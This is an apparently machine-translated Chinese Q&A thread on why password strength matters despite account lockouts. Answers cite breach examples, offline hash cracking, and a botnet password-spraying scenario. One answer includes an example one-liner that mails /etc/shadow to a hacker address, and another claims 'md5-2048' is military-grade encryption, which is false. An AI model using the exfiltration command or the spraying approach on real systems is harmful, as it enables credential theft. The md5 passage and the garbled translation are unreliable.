为什么密码强度很重要?

信息安全 密码
2021-08-31 01:41:13

我从密码学的角度理解,您希望密码尽可能随机以抵抗暴力破解或字典攻击。这很好——但在什么情况下可以实际采用这些方法?如果您输入的错误猜想超过几个,我几乎所有的系统都会有密码将您锁在门外。我们正在研究数百万次猜测,即使是非常弱的密码,这在这些类型的系统上似乎是不可能的。

除了社会工程之外,人们如何攻击密码?

4个回答

对最近在上个月社交媒体应用程序开发商 RockYou 的入侵中暴露的 3200 万个密码的分析进一步证明,消费者经常使用容易猜到的登录凭据。由于 RockYou 网站中的 SQL 注入漏洞,敏感的登录凭据(以纯文本形式存储)被暴露。

大约 130 万注册用户(包括 Gawker Media 所有者 Nick Denton 及其员工的用户)的电子邮件和密码被访问并随后在线发布。

社交网站 LinkedIn 于 2012 年 6 月 5 日遭到黑客攻击,近 650 万用户帐户的密码被盗

一个自称为 D33Ds Co. 的黑客团体公开发布了超过 450,000 个登录凭据——即配对的用户名和密码——从雅虎的“贡献者网络”站点获得。

这一切都始于 Adob​​e 报告超过 300 万客户信息(包括密码识别信息)遭到泄露,然后将数字增加到 3800 万。上周,当一家外部公司在网络犯罪分子经常光顾的网站上发现了大约 1.52 亿 Adob​​e 客户的数据时,情况变得更糟了。

土耳其黑客 Maxn3y 周六(在此处存档)破坏了 avadas.de,然后将黑客声称的客户详细信息在线倾销。据称泄露的信息包括 shop.avadas.de 域的不完整配置文件,似乎是带有加密密码的真实管理员登录详细信息,以及(最严重的)安全专家认为是估计 20,000 名消费者的 PayPal 支付信息。据分析数据转储的 Cyber​​warnews.info 称,黑客还窃取了客户的电子邮件地址、用户名、加密密码以及某些银行和支付详细信息。

在黑客获得登录详细信息后,成千上万的 Tesco 客户的电子邮件和密码被发布到网上。

依靠密码攻击的速率限制是很好的,直到密码数据库被泄露。

当密码数据库是明文时,这个密码的游戏就结束了。您无法通过使用强密码来缓解这种情况,只能通过不在不同站点上重复使用相同的密码(或易于修改的密码,例如swordfish!Yahoovs )。swordfish!Tesco

当密码数据库被散列时,攻击者需要一些时间来运行离线搜索并找到密码。密码越强,哈希值越好,攻击者需要的时间越长。如果您的密码足够强大,那么您可能有机会在任何攻击者找到您的密码之前更改您的密码。这使用户处于竞争中:最弱的密码将首先被利用。即使在这种情况下,您也需要在使用它的任何地方更改密码,这强烈支持真正的站点唯一密码。

假设您有一个僵尸网络,它可以在许多唯一客户端 IP 上分发登录尝试(足以让某人简单地为您设置防火墙并不容易),并且您想使用您的僵尸网络popularwebsite.com通过蛮力猜测正确的登录。我们还假设popularwebsite.com在连续 5 次错误登录尝试后锁定用户帐户。

没问题。启动您的僵尸网络,并从广泛分散的源 IP 集对其进行每秒 1000 次登录尝试。每次登录尝试都使用最常见的密码之一(123456password等),并尝试使用该密码猜测用户帐户(如果他们有一个电子邮件地址数据库来获取想法,应该很容易。)如果您没有足够快地猜出正确的用户popularwebsite.com,是否停止接受所有使用该密码的登录尝试?我对此表示怀疑!

那么我们在这里的前景如何?首先让我们做一些假设:

  • 我们猜测的 20% 的用户帐户名称实际存在(影响这一点的因素包括帐户总数、用户帐户和电子邮件地址之间的相关性、我们的电子邮件数据库的质量)
  • 4.7% 的用户使用password密码

这意味着如果我们password每次都尝试作为密码,那么单个人猜测的登录正确的概率是:

47 / (1000 * 5) = 0.94%

因此,如果我们在猜测实际用户帐户方面的效率为 20%,那么我们大约每 106 次尝试这样做就会受到打击,或者使用我们想象的僵尸网络每秒大约 10 次成功。这没有任何服务器端的妥协或利用,只是猜测登录。如果我们的僵尸网络在用户的家用 PC 上运行,目标可以阻止攻击的唯一方法是强制 4.7% 的用户更改密码,这会将其中一些用户赶走,我们只需重新开始123456

但是,如果人们使用其他人不使用的密码,那么让这种攻击得到回报就绝非易事。

有恶意的人可以通过以下方法窃取敏感信息(即密码)。

  • 主机入侵

示例:恶意黑客以 3 个月合同的开发人员身份在受攻击公司任职,并在具有有限权限的服务器上获得了一个 shell 帐户,我要求系统管理员检查是否存在阻碍我工作的未知问题。我设法说服他/她给我 root 权限来访问我编写的 shell 脚本 5 分钟,因为它有助于自定义工作环境并大大加快我的项目速度。由于他正忙于其他事情,十分钟后要开会,他给了我root10 分钟的自定义脚本权限。我设置了一个陷阱,恶意脚本以 root 权限运行,它通过电子邮件发送给/etc/shadow文件到我公司的电子邮件帐户。几周后,在我授予我的 VPN 访问权限后,我将从我的家用计算机 VPN 进入,我将从我的公司电子邮件中获得一份副本/粘贴到我的家庭桌面。我获得了密码哈希。

  • 对工作站的未经授权的物理访问

示例:恶意黑客在为公司分包的清洁业务中担任清洁工,正在受到攻击。他有权访问 IT 部门的场所,包括系统管理员或首席开发人员的办公桌。他在便利贴上寻找密码或敏感信息,或者试图找到未锁定的工作站等。他迟早会找到一个。想象一下系统管理员的打开终端,他在匆忙回家后不小心打开了他的 shell 终端。当然,sudo特权与root由于他忘记锁工作站,访问仍然开放......他正在清理办公桌,刷掉键盘上的灰尘,环顾四周,没有人在看,整个办公室都是空的,每个人都回家了那天。他快速键入cat /etc/shadow | mail hacker@anonymous.net并获得密码哈希。

  • XSS 攻击

示例:针对一个保护不佳的 Web 服务器,恶意黑客设法运行 XSS 脚本,其中代码注入运行一个命令,该命令将调用的文件邮寄给/root/my.cnf他. 他认为他的 HOME 目录无论如何都是安全的,所以他认为从 root 的 HOME 中删除包括密码在内的文件并不是一个高优先级。MySQL 密码恰好与该机器上的密码相同root使用 root 密码,获取其他更受保护的服务器密码的其他敏感信息绝非易事。

以上方法我相信不是社会工程学。希望这有助于扩大您的想象力:)

我看起来像你令人困惑的各个安全层。文件的加密是一种安全级别,可以是 md5 加密,这将是一种加密。那么你有与 md5-2048 相关的加密强度将是军事级的。另一层安全性是您的密码强度,越复杂越好。现在,如果您想附加密码,您必须询问原因是什么,以及密码是否真的是评估系统漏洞所需要的,或者您是否可以找到解决方法。

  • 如果您希望使用最好的方法,那么请使用量子计算机.jk。

瑞克